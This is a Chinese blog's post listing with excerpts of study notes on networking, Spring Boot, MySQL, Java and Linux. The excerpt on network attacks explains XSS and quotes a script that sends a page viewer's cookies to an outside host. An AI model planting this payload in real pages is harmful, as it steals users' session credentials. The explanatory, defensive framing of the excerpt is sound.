- 博客(127)
- 收藏
- 关注
原创 操作系统 PCB
参考:https://www.jianshu.com/p/1e7397b4d80ahttps://blog.csdn.net/IT_10/article/details/89819138https://www.cnblogs.com/cjdty/p/10911490.html进程控制块,Process Control Block, PCB。操作系统管理控制进程运行的信息集合,操作系统用 PCB 来描述进程的基本情况以及运行变化的过程,PCB 是进程存在的唯一标志。进程的创建:为进程创建 PCB。
2020-06-02 20:05:21
14394
原创 计算机网络 NAT
打开命令行输入 ipconfig 查询 ip 地址(私有地址);打开百度,输入 ip 查询,查询 ip 地址(公网地址),这两个地址是不一样的。私有地址不能用在 Internet上 (路由器将丢弃寻址这种地址的包) 。这些地址是不能够在公网上面用的,只能用在局域网的内部。私有地址有三种:①10.0.0.0~10.255.255.255/8 ②172.16.0.0~172.31.255.255/12 ③192.168.0.0~192.168.255.255/16。工作原理Network Address
2020-06-02 18:29:01
654
原创 计算机网络 ARP
地址解析协议(Address Resolution Protocol),其基本功能为通过目标设备的 IP 地址,查询目标设备的 MAC 地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在 IPv6 中已不再适用,并被**邻居发现协议(NDP)**所替代。ARP 工作流程假设主机 A 和 B 在同一个网段,主机 A 要向主机 B 发送信息,具体的地址解析过程如下:(1) 主机A首先查看自己的ARP表,确定其中是否包含有主机B对应的ARP表项。如果找到了对应的MAC地址,则主机A直接
2020-06-02 18:27:34
584
原创 计算机网络 HTTP 与 HTTPS
参考链接:https://cyc2018.github.io/CS-Notes/#/notes/HTTP?id=%e5%85%ad%e3%80%81httpshttps://snailclimb.gitee.io/javaguide/#/docs/network/HTTPS%E4%B8%AD%E7%9A%84TLS端口HTTP 的 URL 由 “http://” 起始且默认使用端口 80,HTTPS 的 URL 由 “https://” 起始且默认使用端口 443。安全性和资源消耗HTTP 协议
2020-06-02 18:26:14
195
原创 计算机网络 TCP 与 UDP
背景网络层,可以实现两个主机之间的通信。但是这并不具体,因为,真正进行通信的实体是在主机中的进程,是一个主机中的一个进程与另外一个主机中的一个进程在交换数据。IP 协议虽然能把数据报文送到目的主机,但是并没有交付给主机的具体应用进程。而端到端的通信才应该是应用进程之间的通信。TCP,提供面向连接的服务,在传送数据之前必须先建立连接,数据传送完成后要释放连接。因此TCP是一种可靠的的运输服务,但是正因为这样,不可避免的增加了许多的开销,比如确认,流量控制等。对应的应用层的协议有:SMTP:Simple
2020-06-02 18:23:24
202
原创 计算机网络 OSI 七层协议
物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。应用层 ( application-layer )通过应用进程间的交互来完成特定网络应用。应用层交互的数据单元称为报文。应用层协议域名系统DNS,支持万维网应用的 HTTP协议,支持电子邮件的 SMTP协议等等。传输层 ( transport layer )负责向两台主机进程之间的通信提供通用的数据传输服务。传输层协议传输控制协议 TCP(Transmission Control Protocol)提供面向连接的,可靠的数据传
2020-06-02 18:21:08
662
原创 SpringBoot Servlet、Filter、Listener、Interceptor、Aspect 的区别和联系
参考:https://www.jianshu.com/p/c4ef6d232e8dhttps://www.jb51.net/article/96496.htm概念1.servlet:servlet 是一种运行服务器端的 java 应用程序,具有独立于平台和协议的特性,并且可以动态的生成 web 页面,它工作在客户端请求与服务器响应的中间层。2.filter:filter 是一个可以复用的代码片段,可以用来转换 HTTP 请求、响应和头信息。Filter 不像 Servlet,它不能产生一个请求或者
2020-06-02 18:18:04
504
原创 SpringBoot Interceptor
Interceptor 介绍拦截器 (Interceptor) 同 Filter 过滤器一样,它们都是面向切面编程——AOP 的具体实现。可以使用 Interceptor 来执行某些任务,例如在 Controller 处理请求之前编写日志,添加或更新配置等。在 Spring 中,当请求发送到 Controller 时,在被 Controller 处理之前,必须经过 Interceptors。过滤器和拦截器的区别过滤器(Filter):当有一堆东西的时候,只希望选择符合你要求的某一些东西。定义这些
2020-06-01 21:17:12
159
原创 SpringBoot JPA
添加依赖<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-jpa</artifactId> </dependency> <dependency> <group
2020-06-01 21:07:57
290
转载 SpringBoot 配置文件读取
很多时候需要将一些常用的配置信息比如阿里云 oss 配置、发送短信的相关信息配置等放到配置文件中。以下是 Spring 为我们提供了哪些方式帮助我们从配置文件中读取这些配置信息。application.yml 内容如下:wuhan2020: 2020年初武汉爆发了新型冠状病毒,疫情严重,但是,我相信一切都会过去!武汉加油!中国加油!my-profile: name: Guide哥 email: koushuangbwcx@163.comlibrary: location: 湖北武汉
2020-06-01 20:49:36
173
原创 Spring 设计思想
控制反转 (IoC) 和依赖注入 (DI)IoC(Inverse of Control, 控制反转)是一种解耦的设计思想,就是将原本在程序中手动创建对象的控制权,交由Spring 框架来管理。它的主要目的是借助于“第三方”(Spring 中的 IOC 容器) 实现具有依赖关系的对象之间的解耦(IOC 容器管理对象,只管使用即可),从而降低代码之间的耦合度。IOC 是一个原则,不是一个模式。IoC 在其他语言中也有应用,并非 Spring 特有。 IoC 容器是 Spring 用来实现 IoC 的载体,
2020-06-01 20:41:58
615
原创 Java ConcurrentHashMap
ConcurrentHashMap 和 Hashtable 的区别主要体现在实现线程安全的方式上不同。底层数据结构JDK1.7 的 ConcurrentHashMap 底层采用 分段的数组+链表 实现,JDK1.8 采用的数据结构跟 HashMap1.8 的结构一样,数组+链表/红黑二叉树。Hashtable 和 JDK1.8 之前的 HashMap 的底层数据结构类似都是采用 数组+链表 的形式,数组是 HashMap 的主体,链表则是主要为了解决哈希冲突而存在的;实现线程安全的方式① 在 JDK
2020-06-01 19:42:51
233
原创 Java HashSet
HashSet 中有一个 HashMap:private transient HashMap<E,Object> map;HashSet 是按照 hash 算法来存储元素的,因此具有很好的存取和查找性能。特点不能保证元素的顺序。HashSet 不是线程同步的,如果多线程操作 HashSet 集合,则应通过代码来保证其同步。集合元素值可以是 null。存储原理当向 HashSet 集合存储一个元素时,HashSet 会调用该对象的 hashCode() 方法得到其 hashC
2020-06-01 19:41:44
114
原创 MySQL change buffer
当需要更新一个数据页时,如果数据页在内存中就直接更新,而如果这个数据页还没有在内存中的话,在不影响数据一致性的前提下,InooDB 会将这些更新操作缓存在 change buffer 中,这样就不需要从磁盘中读入这个数据页了。在下次查询需要访问这个数据页的时候,将数据页读入内存,然后执行 change buffer 中与这个页有关的操作。通过这种方式就能保证这个数据逻辑的正确性。需要说明的是,虽然名字叫作 change buffer,实际上它是可以持久化的数据。也就是说,change buffer 在内存
2020-06-01 19:16:07
168
原创 MySQL 锁
MyISAM 和 InnoDB 存储引擎使用的锁:MyISAM 采用表级锁(table-level locking)。InnoDB 支持行级锁(row-level locking)和表级锁,默认为行级锁。表级锁和行级锁对比:表级锁: MySQL中锁定 粒度最大 的一种锁,对当前操作的整张表加锁,实现简单,资源消耗也比较少,加锁快,不会出现死锁。其锁定粒度最大,触发锁冲突的概率最高,并发度最低,MyISAM和 InnoDB引擎都支持表级锁。行级锁: MySQL中锁定 粒度最小 的一种锁,只针对
2020-06-01 19:09:55
158
原创 MySQL 事务隔离级别
并发事务带来的问题在典型的应用程序中,多个事务并发运行,经常会操作相同的数据来完成各自的任务(多个用户对同一数据进行操作)。并发虽然是必须的,但可能会导致以下的问题。脏读(Dirty read): 当一个事务正在访问数据并且对数据进行了修改,而这种修改还没有提交到数据库中,这时另外一个事务也访问了这个数据,然后使用了这个数据。因为这个数据是还没有提交的数据,那么另外一个事务读到的这个数据是“脏数据”,依据“脏数据”所做的操作可能是不正确的。丢失修改(Lost to modify): 指在一个事务读取
2020-06-01 19:06:07
106
原创 MySQL 事务
事务是逻辑上的一组操作,要么都执行,要么都不执行。四大特性原子性(Atomicity): 事务是最小的执行单位,不允许分割。事务的原子性确保动作要么全部完成,要么完全不起作用;一致性(Consistency): 执行事务前后,数据保持一致,多个事务对同一个数据读取的结果是相同的;隔离性(Isolation): 并发访问数据库时,一个用户的事务不被其他事务所干扰,各并发事务之间数据库是独立的;持久性(Durability): 一个事务被提交之后。它对数据库中数据的改变是持久的,即使数据库发生故障也
2020-06-01 19:03:08
124
原创 MySQL 存储引擎
InnoDB 与 MyISAM 的区别MyISAM是MySQL的默认数据库引擎(5.5版之前)。虽然性能极佳,而且提供了大量的特性,包括全文索引、压缩、空间函数等,但MyISAM不支持事务和行级锁,而且最大的缺陷就是崩溃后无法安全恢复。不过,5.5版本之后,MySQL 引入了 InnoDB(事务性数据库引擎),MySQL 5.5 版本后默认的存储引擎为 InnoDB。是否支持行级锁 : MyISAM 只有表级锁(table-level locking),而 InnoDB 支持行级锁 (row-leve
2020-05-31 18:59:39
177
原创 Linux 磁盘相关命令
dfdf 命令的英文全称即“Disk Free”,顾名思义功能是用于显示系统上可使用的磁盘空间。默认显示单位为KB,建议使用“df -h”的参数组合,根据磁盘容量自动变换合适的单位,更利于阅读。日常普遍用该命令可以查看磁盘被占用了多少空间、还剩多少空间等信息。语法格式: df [参数] [指定文件]常用参数:-a显示所有系统文件-B <块大小>指定显示时的块大小-h以容易阅读的方式显示-H以1000字节为换算单位来显示-i显示索引字节信息
2020-05-31 18:48:11
311
原创 Linux top 命令
top 命令用于动态地监视进程活动与系统负载等信息。示例:两秒钟刷新一次# top -d 2Linux中的 top 命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。top命令是一个交互命令。在运行top的时候还可以运行很多命令。top 命令输出前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。系统运行时间和平均负载top命令的顶部显示与 uptime 命令相似的输出。这些字段显示:当前时间系统已运行的时间当前登录用户的
2020-05-31 18:43:08
447
原创 Linux I/O 模型
5 种 I/O 模型:阻塞式 I/O非阻塞式 I/OI/O 复用(select,poll,epoll等)信号驱动式 I/O(SIGIO)异步 I/O(POSIX 的 aio_ 系列函数)I/O 执行的两个阶段在Linux中,对于一次读取 IO 的操作,数据并不会直接拷贝到程序的程序缓冲区。通常包括两个不同阶段:等待数据准备好,到达内核缓冲区。从内核向进程复制数据。网络IO的本质是socket的读取,socket在linux系统被抽象为流,IO可以理解为对流的操作。对于一个套接字上的输
2020-05-31 18:40:27
258
原创 Java JVM 垃圾回收
参考链接:https://www.cnblogs.com/1024Community/p/honery.html#%E4%B8%80----%E6%8A%80%E6%9C%AF%E8%83%8C%E6%99%AF%E4%BD%A0%E8%A6%81%E4%BA%86%E8%A7%A3%E5%90%A7JVM 的内存结构包括五大区域:程序计数器、虚拟机栈、本地方法栈、堆区、方法区。其中程序计数器、虚拟机栈、本地方法栈3个区域随线程而生、随线程而灭,因此这几个区域的内存分配和回收都具备确定性,因为方法结束或者
2020-05-31 18:33:07
195
转载 Java 并发 AQS
转载于:https://snailclimb.gitee.io/javaguide/#/docs/java/Multithread/JavaConcurrencyAdvancedCommonInterviewQuestions?id=_6-aqshttps://cyc2018.github.io/CS-Notes/#/notes/Java%20%E5%B9%B6%E5%8F%91?id=%e4%b8%83%e3%80%81juc-aqs](https://cyc2018.github.io/CS-Not
2020-05-31 12:52:59
139
原创 Java 对象操作
序列化序列化就是将一个对象转换成字节序列,方便存储和传输。序列化:ObjectOutputStream.writeObject()反序列化:ObjectInputStream.readObject()不会对静态变量进行序列化,因为序列化只是保存对象的状态,静态变量属于类的状态。Serializable序列化的类需要实现 Serializable 接口,它只是一个标准,没有任何方法需要实现,但是如果不去实现它的话而进行序列化,会抛出异常。public static void main(Str
2020-05-31 12:45:37
241
原创 Java ThreadLocal
参考:https://snailclimb.gitee.io/javaguide/#/docs/java/Multithread/JavaConcurrencyAdvancedCommonInterviewQuestions?id=_3-threadlocal另:https://cyc2018.github.io/CS-Notes/#/notes/Java 并发?id=_2-线程本地存储(thread-local-storage)通常情况下,创建的变量是可以被任何一个线程访问并修改的。如果想实现每一
2020-05-31 12:35:38
111
原创 Java 线程池
线程池可以限制和管理资源(包括执行一个任务)。每个线程池还维护一些基本统计信息,例如已完成任务的数量。池化技术线程池、数据库连接池、Http 连接池等等都是对这个思想的应用。池化技术的思想主要是为了减少每次获取资源的消耗,提高对资源的利用率。使用线程池的好处降低资源消耗。通过重复利用已创建的线程降低线程创建和销毁造成的消耗。提高响应速度。当任务到达时,任务可以不需要的等到线程创建就能立即执行。提高线程的可管理性。线程是稀缺资源,如果无限制的创建,不仅会消耗系统资源,还会降低系统的稳定性,使用
2020-05-31 12:32:15
139
原创 Java 异常处理
图片来自:https://simplesnippets.tech/exception-handling-in-java-part-1/图片来自:https://chercher.tech/java-programming/exceptions-java在 Java 中,所有的异常都有一个共同的祖先: java.lang 包中的 Throwable 类。Throwable: 有两个重要的子类:Exception(异常) 和 Error(错误) ,二者都是 Java 异常处理的重要子类,各自都包含大量.
2020-05-31 12:30:02
130
原创 Java 故障处理工具
jpsJVM Process Status Tool,虚拟机进程状况工具。除了名字像 UNIX 的 ps 命令之外,它的功能也和 ps 命令类似:可以列出正在运行的虚拟机进程,并显示虚拟机执行主类 (Main Class,main() 函数所在的类) 名称以及这些进程的本地虚拟机唯一 ID (LVMID,Local Virtual Machine Identifier)。其他的 JDK 工具大多需要输入它查询到的 LVMID 来确定要监控的是哪一个虚拟机进程。对于本地虚拟机进程来说,LVMID 与操作
2020-05-26 22:46:47
245
原创 SpringBoot Filter
Filter 介绍Filter 过滤器主要用来过滤用户请求,它允许对用户请求进行前置处理和后置处理,比如实现 URL 级别的权限控制、过滤非法请求等。Filter 过滤器是面向切面编程——AOP 的具体实现。另外,Filter 是依赖于 Servlet 容器,Filter接口就在 Servlet 包下面,属于 Servlet 规范的一部分。所以,很多时候也称其为“增强版 Servlet”。Filter 过滤原理Filter 接口中有一个叫做 doFilter 的方法,这个方法实现了对用户请求的过滤。
2020-05-10 23:00:50
176
原创 Java 随机数
Java 中产生随机数的方法主要有 3 种:new Random()Math.random()System.currentTimeMillis() 取模java.util.Random 类是一个随机数发生器,构造函数有两个,Random() 和 Random(long seed)。第一个就是以当前时间为默认种子,第二个是以指定的种子值进行。产生之后,借助不同的语句产生不同类...
2020-05-05 13:48:41
323
原创 SpringBoot 项目构建与部署
Spring Boot 项目可以内嵌 Servlet 容器,因此部署极为方便,可直接打成可执行 JAR 包部署在有 Java 运行环境的服务器上,也可以像传统的 Java Web 应用程序那样打成 WAR 包运行。JAR使用 spring-boot-maven-plugin 插件可以创建一个可执行的 JAR 应用程序,前提是应用程序的 parent 为 spring-boot-starter-...
2020-05-02 18:20:39
295
原创 SpringBoot 数据校验
数据校验是开发过程中一个常见的环节,一般来说,为了提高系统运行效率,都会在前端进行数据校验,但是这并不意味着不必在后端做数据校验了,因为用户还是可能在获取数据接口后手动传入非法数据,所以后端还是需要做数据校验。 Spring Boot 对此也提供了相关的自动化配置解决方案。普通校验添加依赖:<dependency>--> <groupId>org.spr...
2020-05-02 14:33:05
647
原创 SpringBoot 整合 Swagger 2
在前后端分离开发中,为了减少与其他团队的沟通成本,一般构建一份 RESTful API 文档来描述所有的接口信息,但是这种做法有很大的弊端:接口众多,编写 RESTful API 文档工作量巨大,因为 RESTful API 文档不仅要包含接口的基本信息,如接口地址、接口请求参数以及接口返回值等,还要包含 HTTP 请求类型、 HTTP 请求头、请求参数类型、返回值类型、所需权限等。维护不方...
2020-05-02 11:50:46
108
原创 编程题 求最大公约数
暴力枚举法暴力枚举的方法从较小整数的一半开始,试图找到一个合适的整数 i,看看这个整数能否被 a 和 b 同时整除。public static int getGreatestCommonDivisor(int a, int b) { int big = a > b ? a : b; int small = a < b ? a : b; if (big % s...
2020-04-28 13:56:22
1817
转载 计算机网络 浏览器同源
转载于:http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html浏览器安全的基石是"同源政策"(same-origin policy)。一、概述1.1 含义1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。最初,它的含义是指,A网页设置的 Cookie,B网页不能打开,除非这两个...
2020-04-25 11:32:03
383
转载 计算机网络 跨域资源共享 CORS
转载自:http://www.ruanyifeng.com/blog/2016/04/cors.htmlCORS是一个 W3C 标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。一、简介CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该...
2020-04-25 11:22:17
229
1
原创 计算机网络 HTTP 请求与响应
HTTP 请求报文HTTP请求报文主要由请求行、请求头部、请求正文这 3 部分组成:请求行由 3 部分组成,分别为:请求方法、URL 以及协议版本,之间由空格分隔请求方法包括 GET、DELETE、PUT、POST、TRACE、OPTIONS、 HEAD 以及扩展方法,当然并不是所有的服务器都实现了所有的方法,部分方法即便支持,处于安全性的考虑也是不可用的。协议版本的格式为:HTTP/...
2020-04-24 22:11:20
505
原创 计算机网络 网络攻击
跨站脚本攻击 XSS跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。攻击原理例如有一个论坛网站,攻击者可以在上面发布以下内容:<script>location.href="//domain.com/?c=" + document.cookie</script>...
2020-04-24 20:51:42
774
原创 系统设计 摘要、对称加密、非对称加密
摘要采用单向加密算法,比如 MD5,SHA1,MAC 等,这是一种数据完整性的加密,这种单向加密一般我们称为摘要,而不是纯意义上的加密。防止数据在传输过程中被篡改,因为摘要是不可逆的,比较常见的场景,某会员系统里,会员密码信息都是通过摘要入库的,验证密码是否一致,也是通过对比摘要,这保护了用户密码的安全性。对称加密对称加密体制要求加密与解密使用同一个共享密钥,解密是加密的逆运算,由于双方共享...
2020-04-24 15:42:00
240
转载 Linux 防火墙
在 RHEL 7 系统中,firewalld 防火墙取代了 iptables 防火墙。其实,iptables 与 firewalld 都不是真正的防火墙,它们都只是用来定义防火墙策略的防火墙管理工具而已,或者说,它们只是一种服务。iptables 服务会把配置好的防火墙策略交由内核层面的 netfilter 网络过滤器来处理,而 firewalld 服务则是把配置好的防火墙策略交由内核层面的 n...
2020-04-22 21:58:27
359
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人